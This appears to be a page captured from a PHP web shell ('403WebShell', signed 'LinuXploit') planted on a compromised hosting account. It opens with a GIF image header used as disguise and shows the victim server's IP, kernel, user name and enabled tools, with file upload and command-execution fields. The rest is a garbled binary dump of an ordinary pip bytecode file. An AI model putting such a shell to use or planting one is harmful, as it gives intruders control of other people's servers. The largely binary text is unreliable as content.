GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 104.21.83.152  /  Your IP : 216.73.216.251
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python38/lib/python3.8/site-packages/pip/_internal/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python38/lib/python3.8/site-packages/pip/_internal/utils/__pycache__/misc.cpython-38.pyc
U

ʗReqT�@s�ddlZddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlm
Z
ddlmZmZmZddlmZddlmZmZmZmZmZmZmZmZmZmZmZm Z m!Z!m"Z"m#Z#ddl$m%Z%ddl&m'Z'm(Z(m)Z)ddl*m+Z+dd	l,m-Z-dd
l.m/Z/ddl0m1Z1ddl2m3Z3d
dddddddddddddgZ4e�5e6�Z7e"d�Z8e e!e9e9efZ:e e;e;e;fZ<e e=e ee=ee=ffZ>e=d�dd�Z?e e;dfe e;e;e;fd �d!d"�Z@e=dd#�d$d�ZAe=d�d%d�ZBe'd&e(d'�e)d(�d)�d�e=eCdd+�d,d
��ZDedefe=e:dd-�d.d/�ZEe=e=d#�d0d�ZFd�e=e=e=d2�d3d�ZGe=ee=e=d4�d5d6�ZHe=dd7�d8d9�ZIe=ee=e=d4�d:d�ZJe=e=d7�d;d<�ZKe=e=d7�d=d>�ZLe=e;d?�d@dA�ZMeNe=dB�dCd�ZOeeee ee=ee;fdD�dEdF�ZPe=eCd#�dGd�ZQejRfee;eeSddfdH�dIdJ�ZTd�e=eCe=dK�dLd�ZUe=e e=e=fd#�dMd�ZVe=e=ddN�dOd�ZWe=eCd#�dPdQ�ZXeeddR�dSdT�ZYGdUdV�dVe
�ZZej[e=eeZddfdW�dXdY��Z\eeZd�dZd�Z]eeZd�d[d\�Z^eee!ed]�d^d_�Z_e=ee;e=d`�dadb�Z`d�e=e=e=dd�dedf�Zae=e e=ee;fdg�dhdi�Zbe=e>dg�djdk�Zce=e=dg�dldm�Zde=ee=ge edffe e=e>fdn�dodp�Zee=e>dg�dqdr�Zfe=e e=dg�dsdt�Zge=e e=e=e e=e=ffdu�dvdw�Zhe=e=du�dxd�Zie=e=du�dydz�ZjGd{d|�d|�Zke=ekd}�d~d�Zle=ekdu�d�d��ZmeCdd��d�d��ZneCd�d�d��Zod�e=e;e ee;fd��d�d��ZpeCd�d�d��Zqeeee eefd��d�d��Zree8geCfee8e ee8ee8fd��d�d��ZsGd�d�de%�ZtdS)��N)�StringIO)�filterfalse�tee�zip_longest)�
TracebackType)�Any�BinaryIO�Callable�ContextManager�Dict�	Generator�Iterable�Iterator�List�Optional�TextIO�Tuple�Type�TypeVar�cast)�Pep517HookCaller)�retry�stop_after_delay�
wait_fixed)�__version__)�CommandError)�get_major_minor_version)�WINDOWS)�running_under_virtualenv�rmtree�display_path�
backup_dir�ask�splitext�format_size�is_installable_dir�normalize_path�renames�get_prog�captured_stdout�
ensure_dir�remove_auth_from_url�ConfiguredPep517HookCaller�T��returncCs4tj�tj�t�dd�}tj�|�}d�t|t��S)Nz..zpip {} from {} (python {}))	�os�path�join�dirname�__file__�abspath�formatrr)�pip_pkg_dir�r8��/builddir/build/BUILDROOT/alt-python38-pip-22.2.1-2.el8.x86_64/opt/alt/python38/lib/python3.8/site-packages/pip/_internal/utils/misc.py�get_pip_versionHs�r:.)�py_version_infor/cCsDt|�dkr"|dt|�d7}nt|�dkr:|dd�}td|�S)ax
    Convert a tuple of ints representing a Python version to one of length
    three.

    :param py_version_info: a tuple of ints representing a Python version,
        or None to specify no version. The tuple can have any length.

    :return: a tuple of length three if `py_version_info` is non-None.
        Otherwise, return `py_version_info` unchanged (i.e. None).
    �)rN�VersionInfo)�lenr)r;r8r8r9�normalize_version_infoSs
r?)r1r/c
CsPzt�|�Wn<tk
rJ}z|jtjkr:|jtjkr:�W5d}~XYnXdS)z os.path.makedirs without EEXIST.N)r0�makedirs�OSError�errno�EEXIST�	ENOTEMPTY)r1�er8r8r9r*fs
c
CsRz2tj�tjd�}|dkr*tj�d�WS|WSWntttfk
rLYnXdS)Nr)z__main__.pyz-cz -m pip�pip)	r0r1�basename�sys�argv�
executable�AttributeError�	TypeError�
IndexError)�progr8r8r9r(ps
Tr<g�?)�reraise�stop�waitF)�dir�
ignore_errorsr/cCstj||td�dS)N)rS�onerror)�shutilr�rmtree_errorhandler)rRrSr8r8r9r~s)�funcr1�exc_infor/cCsTzt�|�jtj@}Wntk
r.YdSX|rNt�|tj�||�dS�dS)z�On Windows, the files in .svn are read-only, so when rmtree() tries to
    remove them, an exception is thrown.  We catch that here, remove the
    read-only attribute, and hopefully continue without problems.N)r0�stat�st_mode�S_IWRITErA�chmod)rWr1rX�has_attr_readonlyr8r8r9rV�srVcCsFtj�tj�|��}|�t��tjj�rBd|tt���d�}|S)zTGives the display value for a given path, making it relative to cwd
    if possible.�.N)r0r1�normcaser5�
startswith�getcwd�sepr>�r1r8r8r9r �s�.bak)rR�extr/cCs6d}|}tj�||�r.|d7}|t|�}q||S)z\Figure out the name of a directory to back up the given dir to
    (adding .bak, .bak2, etc)�)r0r1�exists�str)rRre�n�	extensionr8r8r9r!�s)�message�optionsr/cCs2tj�dd���D]}||kr|Sqt||�S)N�PIP_EXISTS_ACTION�)r0�environ�get�splitr")rkrl�actionr8r8r9�ask_path_exists�s
rs)rkr/cCstj�d�rtd|����dS)z&Raise an error if no input is allowed.�PIP_NO_INPUTz5No input was expected ($PIP_NO_INPUT set); question: N)r0rorp�	Exception�rkr8r8r9�_check_no_input�s�rwcCsFt|�t|�}|����}||kr<td�|d�|���q|SqdS)z@Ask the message interactively, with the given possible responsesz>Your response ({!r}) was not one of the expected responses: {}z, N)rw�input�strip�lower�printr6r2)rkrl�responser8r8r9r"�s��cCst|�t|�S)zAsk for input interactively.)rwrxrvr8r8r9�	ask_input�sr}cCst|�t�|�S)z!Ask for a password interactively.)rw�getpassrvr8r8r9�ask_password�sr)�valr/cCs2|��}|dkrdS|dkr dStd|����dS)z�Convert a string representation of truth to true (1) or false (0).

    True values are 'y', 'yes', 't', 'true', 'on', and '1'; false values
    are 'n', 'no', 'f', 'false', 'off', and '0'.  Raises ValueError if
    'val' is anything else.
    )�y�yes�t�true�on�1rf)ri�no�f�false�off�0rzinvalid truth value N)rz�
ValueError)r�r8r8r9�	strtobool�sr�)�bytesr/cCs\|dkrd�|dd�S|dkr4d�t|d��S|dkrJd�|d�Sd�t|��SdS)	Ni@Bz	{:.1f} MBg@�@i�i'z{} kBz	{:.1f} kBz{} bytes)r6�int)r�r8r8r9r$�s)�rowsr/cs@dd�|D�}dd�t|ddi�D���fdd�|D�}|�fS)z�Return a list of formatted rows and a list of column sizes.

    For example::

    >>> tabulate([['foobar', 2000], [0xdeadbeef]])
    (['foobar     2000', '3735928559'], [10, 4])
    cSsg|]}ttt|���qSr8)�tuple�maprh��.0�rowr8r8r9�
<listcomp>�sztabulate.<locals>.<listcomp>cSsg|]}ttt|���qSr8)�maxr�r>)r��colr8r8r9r��s�	fillvaluerncs$g|]}d�ttj|������qS)� )r2r�rh�ljust�rstripr���sizesr8r9r��s)r)r��tabler8r�r9�tabulate�sr�cCsHtj�|�sdStj�tj�|d��r*dStj�tj�|d��rDdSdS)atIs path is a directory containing pyproject.toml or setup.py?

    If pyproject.toml exists, this is a PEP 517 project. Otherwise we look for
    a legacy setuptools layout by identifying setup.py. We don't check for the
    setup.cfg because using it without setup.py is only available for PEP 517
    projects, which are already covered by the pyproject.toml check.
    Fzpyproject.tomlTzsetup.py)r0r1�isdir�isfiler2rcr8r8r9r%�s)�file�sizer/ccs|�|�}|sq|VqdS)z7Yield pieces of data from a file-like object until EOF.N)�read)r�r��chunkr8r8r9�read_chunkss
r�)r1�resolve_symlinksr/cCs6tj�|�}|rtj�|�}ntj�|�}tj�|�S)zN
    Convert a path to its canonical, case-normalized, absolute version.

    )r0r1�
expanduser�realpathr5r_)r1r�r8r8r9r&s
cCs@t�|�\}}|���d�r8|dd�|}|dd�}||fS)z,Like os.path.splitext, but take off .tar tooz.tar���N)�	posixpathr#rz�endswith)r1�baserer8r8r9r#'s
)�old�newr/cCsztj�|�\}}|r.|r.tj�|�s.t�|�t�||�tj�|�\}}|rv|rvzt�|�Wntk
rtYnXdS)z7Like os.renames(), but handles renaming across devices.N)	r0r1rqrgr@rU�move�
removedirsrA)r�r��head�tailr8r8r9r'0s
cCst�s
dS|�ttj��S)z�
    Return True if path is within sys.prefix, if we're running in a virtualenv.

    If we're not in a virtualenv, all paths are considered "local."

    Caution: this function assumes the head of path has been normalized
    with normalize_path.
    T)rr`r&rH�prefixrcr8r8r9�is_localAs	r�)�msg�argsr/cGstj|f|��dS�N)�logger�info)r�r�r8r8r9�write_outputOsr�c@s:eZdZUdZeed<eedd�dd��Zedd��Z	dS)�
StreamWrapperN�orig_stream)r�r/cCs||_|�Sr�)r�)�clsr�r8r8r9�from_streamVszStreamWrapper.from_streamcCs|jjSr�)r��encoding��selfr8r8r9r�]szStreamWrapper.encoding)
�__name__�
__module__�__qualname__r�r�__annotations__�classmethodr��propertyr�r8r8r8r9r�Ss

r�)�stream_namer/c
cs@tt|�}tt|t�|��ztt|�VW5tt||�XdS)z�Return a context manager used by captured_stdout/stdin/stderr
    that temporarily replaces the sys stream *stream_name* with a StringIO.

    Taken from Lib/support/__init__.py in the CPython repo.
    N)�getattrrH�setattrr�r�)r��orig_stdoutr8r8r9�captured_outputbs

r�cCstd�S)z�Capture the output of sys.stdout:

       with captured_stdout() as stdout:
           print('hello')
       self.assertEqual(stdout.getvalue(), 'hello
')

    Taken from Lib/support/__init__.py in the CPython repo.
    �stdout�r�r8r8r8r9r)qs	cCstd�S)z 
    See captured_stdout().
    �stderrr�r8r8r8r9�captured_stderr}sr�)�
sequential�namedr/cOs@tt|tt|���f|�}dd�|��D�}||d<tdd|�S)NcSsi|]\}}||�qSr8r8)r��key�valuer8r8r9�
<dictcomp>�szenum.<locals>.<dictcomp>�reverse_mapping�Enumr8)�dict�zip�ranger>�items�type)r�r��enums�reverser8r8r9�enum�sr�)�host�portr/cCs.|dkr|Sd|kr d|�d�}|�d|��S)z.
    Build a netloc from a host-port pair
    N�:�[�]r8)r�r�r8r8r9�build_netloc�s
r��https)�netloc�schemer/cCs8|�d�dkr*d|kr*d|kr*d|�d�}|�d|��S)z)
    Build a full URL from a netloc.
    r���@r�r�z://)�count)r�r�r8r8r9�build_url_from_netloc�sr�)r�r/cCs t|�}tj�|�}|j|jfS)z2
    Return the host-port pair from a netloc.
    )r��urllib�parse�urlparse�hostnamer�)r��url�parsedr8r8r9�parse_netloc�sr�cCstd|kr|dfS|�dd�\}}d}d|kr>|�dd�\}}n
|d}}tj�|�}|dk	rhtj�|�}|||ffS)zp
    Parse out and remove the auth information from a netloc.

    Returns: (netloc, (username, password)).
    r�)NNrfNr�)�rsplitrqr�r��unquote)r��auth�pw�userr8r8r9�split_auth_from_netloc�s
r�cCsNt|�\}\}}|dkr|S|dkr.d}d}ntj�|�}d}dj|||d�S)z�
    Replace the sensitive data in a netloc with "****", if it exists.

    For example:
        - "user:pass@example.com" returns "user:****@example.com"
        - "accesstoken@example.com" returns "****@example.com"
    N�****rnz:****z{user}{password}@{netloc})r��passwordr�)r�r�r��quoter6)r�r�r�r8r8r9�
redact_netloc�s�r�)r��transform_netlocr/cCsJtj�|�}||j�}|j|d|j|j|jf}tj�|�}|t	d|�fS)aRTransform and replace netloc in a url.

    transform_netloc is a function taking the netloc and returning a
    tuple. The first element of this tuple is the new netloc. The
    entire tuple is returned.

    Returns a tuple containing the transformed url as item 0 and the
    original tuple returned by transform_netloc as item 1.
    r�NetlocTuple)
r�r��urlsplitr�r�r1�query�fragment�
urlunsplitr)r�r�purl�netloc_tuple�
url_pieces�surlr8r8r9�_transform_url�s

r
cCst|�Sr�)r��r�r8r8r9�_get_netloc�srcCs
t|�fSr�)r�rr8r8r9�_redact_netloc�sr
)r�r/cCst|t�\}\}}|||fS)z�
    Parse a url into separate netloc, auth, and url with no auth.

    Returns: (url_without_auth, netloc, (username, password))
    �r
r)r��url_without_authr�r�r8r8r9�split_auth_netloc_from_url�srcCst|t�dS)z7Return a copy of url with 'username:password@' removed.rr�r�r8r8r9r+scCst|t�dS)z.Replace the password in a given url with ****.r)r
r
rr8r8r9�redact_auth_from_urlsrc@sJeZdZeedd�dd�Zed�dd�Zed�dd	�Zeed
�dd�Z	dS)
�
HiddenTextN)�secret�redactedr/cCs||_||_dSr�)rr)r�rrr8r8r9�__init__szHiddenText.__init__r.cCsd�t|��S)Nz<HiddenText {!r}>)r6rhr�r8r8r9�__repr__szHiddenText.__repr__cCs|jSr��rr�r8r8r9�__str__szHiddenText.__str__)�otherr/cCs t|�t|�krdS|j|jkS)NF)r�r)r�rr8r8r9�__eq__szHiddenText.__eq__)
r�r�r�rhrrrr�boolrr8r8r8r9rsr)r�r/cCst|dd�S)Nr�r)r)r�r8r8r9�
hide_value%srcCst|�}t||d�S)Nr)rr)r�rr8r8r9�hide_url)sr)�
modifying_pipr/cCs|ddtjj��dtjj�dtjj��g}|oDtoDtj�tjd�|k}|rxtj	ddgtjdd�}t
d�d�|����dS)	z�Protection of pip.exe from modification on Windows

    On Windows, any operation modifying pip should be run as:
        python -m pip ...
    rFr^rz-mrfNz3To modify pip, please run the following command:
{}r�)
rH�version_info�major�minorrr0r1rGrIrJrr6r2)r�	pip_names�should_show_use_python_msg�new_commandr8r8r9�(protect_pip_from_modification_on_windows.s����r&cCstjdk	otj��S)zIs this console interactive?N)rH�stdin�isattyr8r8r8r9�is_console_interactiveHsr)�)r1�	blocksizer/c	CsRt��}d}t|d��.}t||d�D]}|t|�7}|�|�q$W5QRX||fS)z5Return (hash, length) for path using hashlib.sha256()r�rb)r�)�hashlib�sha256�openr�r>�update)r1r+�h�lengthr��blockr8r8r9�	hash_fileMsr4cCs(zddl}Wntk
r"YdSXdS)z8
    Return whether the wheel package is installed.
    rNFT)�wheel�ImportError)r5r8r8r9�is_wheel_installedYs
r7)�iterabler/cCst|�}t||�S)zb
    Return paired elements.

    For example:
        s -> (s0, s1), (s2, s3), (s4, s5), ...
    )�iterr)r8r8r8r9�pairwiseesr:)�predr8r/cCs t|�\}}t||�t||�fS)z�
    Use a predicate to partition entries into false entries and true entries,
    like

        partition(is_odd, range(10)) --> 0 2 4 6 8   and  1 3 5 7 9
    )rr�filter)r;r8�t1�t2r8r8r9�	partitionps
r?csteZdZdeeeeeeedeed��fdd�
Zdeeeeefeeed��fdd�
Z	deeeeefed	��fd
d�
Z
deeeeefeeed��fdd
�
Zdeeeefeed��fdd�
Z
d eeeefeed��fdd�
Zd!eeeefeed��fdd�
Zd"eeeeefeed��fdd�
Zd#eeeeefeed��fdd�
Z�ZS)$r,N).N)�
config_holder�
source_dir�
build_backend�backend_path�runner�python_executablecst��|||||�||_dSr�)�superrr@)r�r@rArBrCrDrE��	__class__r8r9rs	�z#ConfiguredPep517HookCaller.__init__)�wheel_directory�config_settings�metadata_directoryr/cs|jj}t�j|||d�S�N)rJrK)r@rJrF�build_wheel�r�rIrJrK�csrGr8r9rM�s�z&ConfiguredPep517HookCaller.build_wheel)�sdist_directoryrJr/cs|jj}t�j||d�S�N)rJ)r@rJrF�build_sdist)r�rPrJrOrGr8r9rR�sz&ConfiguredPep517HookCaller.build_sdistcs|jj}t�j|||d�SrL)r@rJrF�build_editablerNrGr8r9rS�s�z)ConfiguredPep517HookCaller.build_editable)rJr/cs|jj}t�j|d�SrQ)r@rJrF�get_requires_for_build_wheel�r�rJrOrGr8r9rT�sz7ConfiguredPep517HookCaller.get_requires_for_build_wheelcs|jj}t�j|d�SrQ)r@rJrF�get_requires_for_build_sdistrUrGr8r9rV�sz7ConfiguredPep517HookCaller.get_requires_for_build_sdistcs|jj}t�j|d�SrQ)r@rJrF�get_requires_for_build_editablerUrGr8r9rW�sz:ConfiguredPep517HookCaller.get_requires_for_build_editableT)rKrJ�_allow_fallbackr/cs|jj}t�j|||d�S�N)rKrJrX)r@rJrF� prepare_metadata_for_build_wheel�r�rKrJrXrOrGr8r9rZ�s�z;ConfiguredPep517HookCaller.prepare_metadata_for_build_wheelcs|jj}t�j|||d�SrY)r@rJrF�#prepare_metadata_for_build_editabler[rGr8r9r\�s�z>ConfiguredPep517HookCaller.prepare_metadata_for_build_editable)NNN)NN)N)NN)N)N)N)NT)NT)r�r�r�rrhrr	rrrMrRrSrrTrVrWrrZr\�
__classcell__r8r8rGr9r,~s��
�����	��������	����)F)rd)T)r�)r*)u�
contextlibrBr~r-�io�loggingr0r�rUrYrH�urllib.parser�r�	itertoolsrrr�typesr�typingrrr	r
rrr
rrrrrrrr�pip._vendor.pep517r�pip._vendor.tenacityrrrrFr�pip._internal.exceptionsr�pip._internal.locationsr�pip._internal.utils.compatr�pip._internal.utils.virtualenvr�__all__�	getLoggerr�r�r-�
BaseException�ExcInfor�r=rhrr:r?r*r(rrrVr r!rsrwr"r}rr��floatr$r�r%�DEFAULT_BUFFER_SIZEr�r�r&r#r'r�r�r��contextmanagerr�r)r�r�r�r�r�r�r�r
rr
rr+rrrrr&r)r4r7r:r?r,r8r8r8r9�<module>s�D�
"
	(��
	
	
�"
 �

Youez - 2016 - github.com/yon3zu
LinuXploit